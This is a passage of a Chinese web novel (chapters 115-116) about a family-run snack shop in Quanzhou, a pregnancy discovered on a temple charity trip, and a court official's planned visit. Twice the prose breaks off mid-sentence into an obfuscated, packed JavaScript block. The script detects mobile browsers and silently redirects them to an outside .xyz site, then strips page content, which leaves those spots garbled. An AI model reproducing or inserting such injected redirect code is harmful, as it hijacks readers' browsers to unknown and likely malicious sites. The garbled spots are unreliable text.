冬粉相比起米粉，颜色更透，口感更脆，即便是淋上酱油上了色，依旧十分油亮剔透。 到了收尾的地步，阿平尝试着学师父那样提起锅把翻动冬粉，可他力气实在是小，锅刚提起来没一会儿，便“啪”的一声掉了回去。 还站在厨房门口和苏月娘你侬我侬的许东山皱着眉朝他望去。 “不要干你做不到的事情，把锅弄坏了我有你好果子吃！”说罢，许东山还朝阿平挥了挥拳头。 阿平吓得脖子一缩，赶紧翻开沉重的炒冬粉去看锅底，好在锅底完好无损，他这才松了一口气。 成功把大徒弟吓唬了一顿的许东山心情极好地笑了。 苏月娘掐他，“居然吓唬徒弟，你这当师父的可真是好样的！” …… 由阿平独自一人做出的炒冬粉很快出锅了，并且，阿平独揽了给大家盛冬粉的活。 头两碗的自然是给师父师娘的。 苏月娘那一碗都是好料，肉皮发赤的三层肉、卷曲的鱿鱼和切得笔直的苏糕在顶上铺了一层，看样子这些东西都是阿平特地给她加的。 还没等苏月娘感动地夸阿平一顿，许东山握着筷子，艰难地拨了拨堆出了一个结实小山包的冬粉，道：“你小子是想撑死我？” 阿平不解地看着师父。 许东山对着好心的大徒弟摆摆手，让大徒弟继续去干活，等大徒弟离开后，对面的林大松没忍住笑出声来，“虽然阿平不是月娘带的，但这做饭盛饭的架势可和月娘一模一样！” 苏月娘塞着一大口冬粉，不满地在桌子底下踹了林大松一脚，林大松不甘示弱地踹了回去。 兄妹俩幼稚无比地你踹我我踹你，最后被许东山喝停了。 “林大松你几岁人了！” 林大松偃旗息鼓，而苏月娘躲在许东山身边冲着林大松扮鬼脸。 阿平陆续将所有人的冬粉都盛出来了，红姑还夸阿平做事越来越厉害了。 平日里售卖的炒米粉并不会放鱿鱼和海蛎，许春喜大概是吃不太惯这两样东西，在开吃之前，将所有的鱿鱼和海蛎翻出来，丢到林大松碗里。 林大松照单全收，还不忘小声问道：“你以前不是挺喜欢吃炒鱿鱼的吗？今天怎么不吃了？” 说着，林大松夹起一条鱿鱼吹了吹，塞进了嘴里。 鱿鱼淡淡的腥气往许春喜那儿飘，许春喜有些犯恶心，她赶紧喝上一口紫菜汤压一压。 “看你这几天瘦了不少，犒劳犒劳你！” 林大松对此信以为真，他美滋滋地尝着来自许春喜的“关心”，“别再给我夹了，你也吃！” 许春喜敷衍地点了点头，思绪已然飘了十万八千里远。 115. 刺桐花待开 时隔两个月再去到承天寺，刚入寺门，春日的气息便扑面而来。 风已不再过于凛冽刮面，高大的刺桐树枝头挂着几朵尚未绽开的红色刺桐花苞，春色已早气温一步来到人间。 姑嫂二人站在门边远远赏着挂了红色花苞的刺桐树，其他人和赶来帮忙的小和尚一起搬运车上的面和菜。 “我长大的地方几乎见不着刺桐树，也不知这刺桐树开了究竟多好看……”去年苏月娘虽说是正值花期的三月过来的，但那时候她忙于开店的事情，一直待在凤池镇里，未曾去寻刺桐瞧上一眼。 “下个月过来了，这刺桐花兴许就开了……而且这一带刺桐花不少，往边上的桂坛巷一走，拐几个弯，那儿有一处讲学的地方，那处也有一颗刺桐树，每次开花、落花都美得很！” “那咱们下个月再来看！那时候，我一定要穿上新做的春装！” 让其他人独自忙活苏月娘也不太好意思，看过刺桐树之后，苏月娘便着手帮着干起了活，而许春喜大抵是一路上被林大松晃了个够呛，便只提前往厨房干一点轻一点的活。 这回虽然少了一个阿生，但是也影响不了什么，大家伙还是按照上回的安排做事。 白菜、红菜、香菇、木耳、冬笋、豆芽分类摆放在地上，一到两人清洗一样。 今天不算太忙碌的住持还亲自泡了茶水给几个人送来，“诸位施主辛苦了，若是需要添茶，尽管喊寺里的人帮忙！” “您太客气了！”许春喜大概是搓红菜上的泥巴搓得有些劳累了，便率先站起来，给自己倒上一杯热茶去去辛苦。 “春喜，我也要！”林大松将洗好的大白菜随手往许东山身边的大菜盆里一丢，并且高高抬起头，等着许春喜递水。 白菜“咚”的一声落在菜盆里，上面的水花也溅了许东山一身，许东山瞪向林大松，可林大松丝毫没有察觉。 许春喜看傻驴一样的林大松，叹了口气，也倒了一杯亲自喂给他喝。 林大松一口就将茶喝没了，他笑嘻嘻地朝着许春喜抛媚眼，“你倒的茶真好喝！” “憨大呆，干你的活！”再不干活，她大哥就该来算账了。 苏月娘看许东山爱惜的衣裳被溅上了水，她挪了两步过去顺毛，“好了好了，几滴水而已，大不了回去你自己搓一搓就又干净了！” 许东山勉为其难地暂时熄了火，“让他搓。” “好好好……让他搓！” —— 洗菜备菜的流程过后，除了两个负责煮斋面的男人之外，其他人都和寺里的师父们去吃菜粥了。 承天寺的条件不如开元寺的好，菜粥里孤零零地飘着几根菜叶子和几条灰白色的地瓜干，苏月娘虽不爱吃这么素的粥食，但粥里的地瓜干倒让她想起刚到凤池的时候，许东山特意给她留的地瓜干粥。 时隔一年再吃，倒也别有趣味。 苏月娘喝完粥了，许春喜还剩下大半碗。 “怎么了？吃不下吗？我去拿点糕点给你配？” 许春喜摇了摇头，她压低声音，道：“月娘，你现在能不能陪我出去一趟？” “有什么东西没买吗？” “不是，我想去看看郎中！” 苏月娘大惊失色，刚想问她哪儿不舒服，却被她捂上了嘴巴。 “我没什么大事，我喝完粥我们就去吧！”填饱肚子要紧，许春喜眼睛一闭，气一屏，一口将剩下的粥给喝了。 距离施斋面还有不到半个时辰，苏月娘也算不准什么时候能回来，便只同红姑和阿平说她与许春喜要出去买点东西，若是回来晚了，需得辛苦他们二人一阵。 姑嫂二人马不停蹄地出了承天寺。 承天寺外有一医馆，每月初一初二、十五十六都会开展义诊，所幸这会儿百姓们要么在外头置办香烛，要么提前守在寺里等斋面，在医馆里排队的人算不了太多。 苏月娘紧张地握着许春喜的手频频朝着前头张望，生怕再排久一些，就叫许春喜的“病情”加重了。 许春喜看苏月娘这样有些哭笑不得，“你不要紧张，不是什么大事！” “不是什么大事你哪会喊我陪你出来看郎中！”苏月娘见后方的长椅上空出了一个位置，她忙将许春喜往空位上一推，叫她好生坐着。 姑嫂俩等了两刻钟有余，总算排到了。 苏月娘急哄哄地拉着许春喜的手腕往软手枕上一放，“先生，我嫂子说她不舒服，您快帮她瞧瞧！” 累了半天的郎中喝了一口浓茶，问道：“那你嫂子是什么毛病？哪里不舒服？” 郎中这么一问，苏月娘有点傻眼了，光急着排队，忘记关心许春喜的情况了。 许春喜沉思了一下，“就是近来食欲不振，还犯恶心……” 郎中点头，手指头往许春喜的手腕一侧一搭，闭着眼睛慢慢感受许春喜的脉搏，苏月娘弯着腰，抿着唇，焦急地看着郎中，生怕这郎中诊着诊着不小心睡过去。 良久之后，郎中抬起手，睁开眼睛，对二人摆摆手。 “你嫂子只是有了而已，大人孩子都挺结实的！平常干活的时候注意点就行！你们可以走了，下一位！” 苏月娘愣愣地看着许春喜，“春喜嫂，你带身（1）了？” 既然自己和孩子都很结实，许春喜也就扶着桌子起身，将位置让给下一个人，“对啊，已经两个月没来事儿了……” “你居然有了！”苏月娘围着许春喜转了好几圈，还是难以相信这么纤瘦的人肚子里竟然揣了一个小孩子。 许春喜失笑，“你这么惊讶做什么！我和你哥都成亲一年了，早该有了！你和我哥再努力努力，也会有的！” 当了姑姑的苏月娘看着许春喜尚还平坦的小腹，终于反应过来了，她对着许春喜扬起微笑，“真好，家里要热闹了！” “你可别一进去就急哄哄地跟林大松说了！我怕他一高兴就不干正事儿了！” 苏月娘连连点头，而后紧张兮兮地搀扶着许春喜的胳膊，带着她回去。 —— 与此同时，制式繁复的车舆驶进了凤池镇里，百姓们夹道旁观，议论纷纷。 车里的朝廷二品大官唐大人听着车外的喧杂还有些兴奋，“你的几篇食记我也有所耳闻！都说周伯益周大人在吃食赏鉴上颇有心得，也不知你要带我吃什么好吃的！” 周伯益笑道：“只是泉州家常吃食罢了！那店是夫妻店，女的是店主，男的是厨子，他俩还曾在去年冬至让我蹭了一顿饭！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806824|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐大人哈哈大笑，“那肯定味道很好！不然你也不会领着我往这儿来！” 周伯益点头，与此同时，他在心里对苏月娘和许东山道了一声抱歉，原以为这位唐大人还得将沿海巡看完才会走入市井看民生，没想到今早市舶司的事情刚结束，这位大人就忽然要他带着来尝尝泉州味道。 他原想寻个手下快马加鞭地来通知一声，奈何这个唐大人与他走得实在紧，他都没能找着机会派人过来。 料想以苏月娘的为人处世，应付这么一个大官应该也是够用的吧？ 宽大的车舆在狭窄的街道挤了一刻钟，总算到了月娘小吃铺所在的巷口。 不拘小节的唐大人先行下了车，看着空空荡荡的巷子和紧闭的大门，他不禁皱起眉头。 “周伯益，这店怎么没开啊！” 刚下车的周伯益一惊，赶忙探头，只见月娘小吃铺门户紧闭，没有半点人声。 坐在家门口的缝衣裳的林阿婆听见外面的声响，赶紧走出去，周伯益便派人去问了。 林阿婆得知这些人的来由，不免为苏月娘担心了起来，“今天是月娘他们去承天寺施斋的日子！今天一整天，他们都不会在！” 来问话的赶紧回去将话转达给周伯益和唐大人。 周伯益叹气，“都怪下官没有弄清楚……下官这就带您去别处吃！” 唐大人捋了捋胡须，“去寺里施斋……这掌柜的倒是一个不错的人……罢了罢了！今天咱们就先去吃点好的！明天再来尝尝这家常味道！” 周伯益这才松了一口气，又命人去和林阿婆说一声，叫林阿婆代为转告。 车舆再次浩浩荡荡地离开了凤池镇。 …… 在承天寺里的苏月娘不知两位大人在自家小吃铺门口转悠了一圈，又转身离去，她正一边防着有孕在身的许春喜上来干活，一边给百姓们分发斋面。 许春喜被迫坐在放生池边无所事事地掰着粗粮馒头往里丢，活泼了不少的锦鲤乌龟争先恐后地朝着馒头块儿游过去。 等着新的斋面出来的空档，红姑过来关心许春喜，“你是哪里不舒服？要不要我去借一间禅房让你躺着？” 许春喜笑道：“也不是不舒服，就是不太得劲，用不着躺下！” 她也没同红姑说自己怀孕的事情，林大松这个当爹的都没能第一个知道她怀孕，可不能再当第三个了。 “不舒服你一定记得说！千万不要逞强！”红姑再三吩咐，才肯继续去干活。 许春喜摸了摸肚子，默默幻想着林大松知道这事儿会是个什么反应，是高兴得跟猴子一样大吼大叫，还是吓得跟傻子一样呆在原地…… …… 午后，七大锅斋面都分发给了香客们，月娘小吃铺的众人得以歇下来上香。 林大松甩着两条煮面煮得乱哆嗦的胳膊，欢欢喜喜地去找许春喜上香。 “春喜，锅刷完了，咱们去上香求个平安！” 大水蚁一样乱扑腾的两条胳膊险些甩在许春喜的脸上，她没好气地将林大松往边上一推。 力道不小，林大松被推得往后踉跄了好几步。 对上林大松发懵的眼神，许春喜没忍住瞪他，“离我远点！别伤着我了！” 116. 麻油煎鸡1 阿生和阿墩两个孩子的晚饭去处已有安排，并不必大人们操心，于是，大人们慢慢悠悠地乘车归家，入凤池镇之前，大家还停在半路尝了尝别家小店的滋味。 驴车入镇，坐在自家门口吃饭的厝边们迫不及待地撂下饭碗，朝着驴车上的苏月娘喊道： “月娘头家！今天知府大人带着一个大官来你家了！只可惜你不在！” 正眉开眼笑地偷偷摸许春喜肚子的苏月娘听这话，眼睛都瞪圆了，而许东山也一下子将驴车刹住了。 苏月娘从后板上跪了起来，大声问道：“后来呢……知府大人是不是生气了？” 先前她就已经和周伯益说好了要提前说一声的，怎知道这知府大人竟然出尔反尔呢！ 那人也只是听人说了个大概，具体怎么样并不清楚，“你快回家去问问你家对门的林阿婆，听说知府大人还留了话给她呢！” 驴车立即朝前奔去，恨不能立即赶到家门口。 天已经马上黑了，这会儿厝边们正聚集在家门口吃饭闲聊，驴车方才停在巷子门口，苏月娘便听见了厝边们正在议论自己的事情。 “不得不说，大官坐的车就是气派！” “月娘和阿山两口子也算是交了好运了！” 苏月娘迫不及待地从车后板上跳了下去，三步并两步地跑进巷子里，找到了端着空碗同人话仙的林阿婆。 “阿婆，今天发生什么了？” 林阿婆看苏月娘慌得不行，气都没喘匀，便将自己屁股底下的小板凳拉了出来，给苏月娘坐。 “也不是多大的事儿，就是那个周大人带着大官来你家门口晃了一圈，发现你们不在家，就和人家解释说你们去施斋面了！那位大官对你家的东西也是真感兴趣，说明日还会再来！” 悬在嗓子眼的大石头总算是落下了。 苏月娘抚着哐哐跳的胸口站了起来，同林阿婆道了谢后便打算回家了。 一抬头，她对上了两个正坐在台阶上啃大肉包子的小萝卜头。 “干娘！你们怎么才回来！”阿生背着他的书袋朝着苏月娘跑上去，顺带给苏月娘递了一个他没有吃过的肉包子。 苏月娘接了包子，大口咬了一口，“给你们钱吃饭，你们就吃肉包子？” “我们在还在学堂门口喝了粥，但是走回来走饿了，就一人买了两个大包子再垫一垫！”阿墩也还剩下一个大肉包子，便顺手递给了走上来的许春喜。 “来吧，都进屋，一会儿我哥和林大松还了驴车回来，宣布一个好消息！” …… 已经知道了是什么好消息的苏月娘已经从容了许多，她一回家就给还没吃晚饭的哦屁煮了一点稀饭掺肉汤。 两刻钟后，许东山和林大松姗姗来迟。 一进门，瞧见大家整整齐齐地坐在堂屋里，一人一杯泡得颜色寡淡的铁观音茶，像是在商量什么大事。 林大松往许春喜身边一挤，问道：“你们在干嘛？搞这么严肃！” 许春喜脸有些红，并没有回答林大松的话，反而苏月招呼许东山快些坐下，“你站那儿干什么！你也坐！” 许东山不明所以地坐下了，他忙活太久，甚是口渴，一坐下就端起苏月娘面前的茶杯仰头喝了起来，一杯没喝够，再倒第二杯。 苏月娘朝着对面的许春喜一个劲儿地使眼色，许春喜清了清嗓子，看看自顾自地逗着阿墩和阿生的林大松，再看看悠闲喝茶的大哥…… “那个……我有了！” “有什么？”并没有意识到发生什么事情的林大松一掌拍在阿墩的手背上，赢取了拍手背游戏的胜利。 “……有孩子了……” 林大松呆住了，“……” 苏月娘身边的许东山更是惊得把脸扭到一旁去猛咳起来，哦屁正蹲在许东山脚边吃饭，许东山一咳，它便嫌弃地叼着狗碗转换阵地。 昏暗的堂屋里回荡着许东山剧烈咳嗽的声音，苏月娘赶紧翻过身去给许东山拍背，“又不是你当爹，你这么激动做什么！” 许东山将脸都咳红了，好一会儿后，他的嗓子才好受一些。 他握了握苏月娘的手，眼睛弯了起来，虽然不是他当爹，但是他当阿舅了！ 阿墩很有眼力见地戳了戳林大松，林大松堪堪将脑子赚了个弯，他想对着许春喜笑，但是他的嘴角好像不知道该如何上扬，才能准确表达他的心情。 面前的脸表情怪异，许春喜揉了揉眉心，“我知道你很开心……你正常点，你这表情太丑了！” 林大松用力搓了搓脸，才成功将嘴角扬了上去，他捧着许春喜的脸，左右各亲了一下。 “春喜，你太厉害了！” 亲完之后，林大松还觉得不够，他从长椅里跳了出来，一把将许春喜抱起，急匆匆地往屋里跑。 “你累了一天了，赶紧回去躺着！” 红姑衷心替这对即将添丁的夫妻高兴，既然他们两个走了，那她作为过来人的经验也只好明日再见面的时候再传授给他们。 阿墩随着红姑祖孙一块离开了。 苏月娘弯着腰，摸了摸满心满眼只有那盆肉稀饭的小狗，“我们哦屁终于不是家里最小的了！” 哦屁很适时地仰起脑袋，愉快地哼了两声。 许东山独自开心了一阵，又皱了眉头，“不对……” “哪里不对？”苏月娘改为在许东山身上靠着，盯着他俊朗的侧脸瞧。 “林大松走了谁给我搓衣裳？” 苏月娘，“……” —— 因为那位朝廷来的大人要来店里吃饭，苏月娘与许东山一块儿早起干活。 两人出房门时，对面的房里还有鼾声传出。 昨夜里，苏月娘与许东山折腾结束后，即将入睡时，还听见了对门传来了林大松和许春喜的笑声。 也不知这两口子躲在被窝里高兴了多久才入睡。 顾忌着许春喜怀了孕需要多休息，许东山便没有特意去喊林大松起床。 阿平依旧是到得最早的那一个，两口子牵着手到堂屋的时候，阿平已经顺带从街上提回了炸醋肉的梅花肉，站在案板前耐心地切着。 “阿平又来这么早。” 听见师父师娘声响的阿平回过头对着他们点头问好。 “今天周大人带着朝廷的大人来店里吃饭，要是事情办好了，一人包一个红封！”苏月娘坐在灶边先行生火。 阿平用力点了点头。 “今天我们得两手开弓，一手准备招待那位大人，一手给春喜嫂做只鸡补补身子！” 许东山一口应下，“一会儿我上街的时候去挑一只肥一点的鸡回来炖！” 话音刚落，许春喜从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808414|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外探出头，“能不能不炖鸡汤？换点别的做法！” 天大地大，有了身子的人最大，许东山虽然不觉得还有什么做法能比炖来更补，但是他还是问道：“那你想怎么吃？” “昨天吃得太清淡了，今天就想吃点有味道的！麻油煎鸡可以吗？” “行，只要你不生啃鸡，怎么吃都可以！” …… 自家小店的菜实在过于家常，也不可能真就原模原样地拿去招待朝廷来的大人，所以在咸水鸭、姜母鸭、海蛎煎、醋肉、鸡卷的基础上，许东山添了卤面、焖羊肉、牛肉羹、猪料汤等能够简单向上发挥的菜色。 菜一买回来，大家就七手八脚地着手处理食材。 苏月娘照顾着许春喜身子不便不能干重活、不能在人堆里挤来挤去，便安排她站在面线糊桶边上给客人打面线糊。 昨天有大官来店门口转悠一圈又走的事情实在是太轰动，今早来吃面线糊的客人过来点料的时候总是免不得要就着这事儿聊上一句。 厨房里是水汽缭绕，而堂屋里是人声鼎沸. 离正午饭点还有半个时辰，店里店外便已经堆满了客人。 苏月娘觉得情况蹊跷，便放下了手里的锅勺，去孤榻上看看情况。 孤榻上堆满了人不错，但就没几个是熟面孔，那些人就站在那儿一动不动，有人出来了也不往里走，只是招呼着后面真正来吃东西的人先往里走。 “几位不吃东西在这排着做什么……莫不是特意来吃姜母鸭和咸水鸭的？” 站在最前面的那几人连连摆手。 “我们是来给家里的老爷排队的！听说朝廷的大人要来你家吃饭，我们家老爷也想瞻仰那位大人的风采，便命我们提前来排队了！” 听此，苏月娘有些头疼，“那可是朝廷的大人，可容不得半点差池！你们几个快走吧！别来给我捣乱！” 她可真怕这几个人的主子到时候进了店里对着人家朝廷大官又是下跪又是给钱巴结的……若真如此惹了那位大人的不快，自己和许东山也没脸在凤池镇再生活下去了。 “苏头家，别啊！都是出来挣钱的，您就别难为我了！这钱给你！你给我们留给座位！”为首的一人着急地将兜里的钱塞给苏月娘。 苏月娘嫌这钱烫手，连连向后退。 刚要进门，苏月娘便装上了一堵结实的肉墙，提着菜刀的许东山皱着眉，扶稳了苏月娘。 许东山出来了，苏月娘立即换上一副凶巴巴的表情。 “我话就撂这儿了！若是谁敢打搅这事儿！自己看着办！” 今天早上刚仔细打磨过的菜刀亮闪闪的，冷光晃过了那些人的眼睛，可自家主子的千叮咛万嘱咐还在耳边回荡，那些人留也不是，走也不是。 就在双方静默之时，人群之外走来了两个衣着稍显富贵的人。 “周大人，这家店生意这么好，咱们能吃上吗？”唐大人不知前方发生了什么，只是以为堆在孤榻上的都是食客。 “吃得上！已经提前跟那两口子打过招呼了！”周伯益抬起左手，请唐大人走上台阶。 “让让！都让让——”唐大人的侍从走在前头为唐大人开路。 个头高的许东山一眼瞧见了人群之外的周伯益和唐大人，他反应极快地甩掉了手里的菜刀，而后一把拨开了挡在自己跟前的那几人。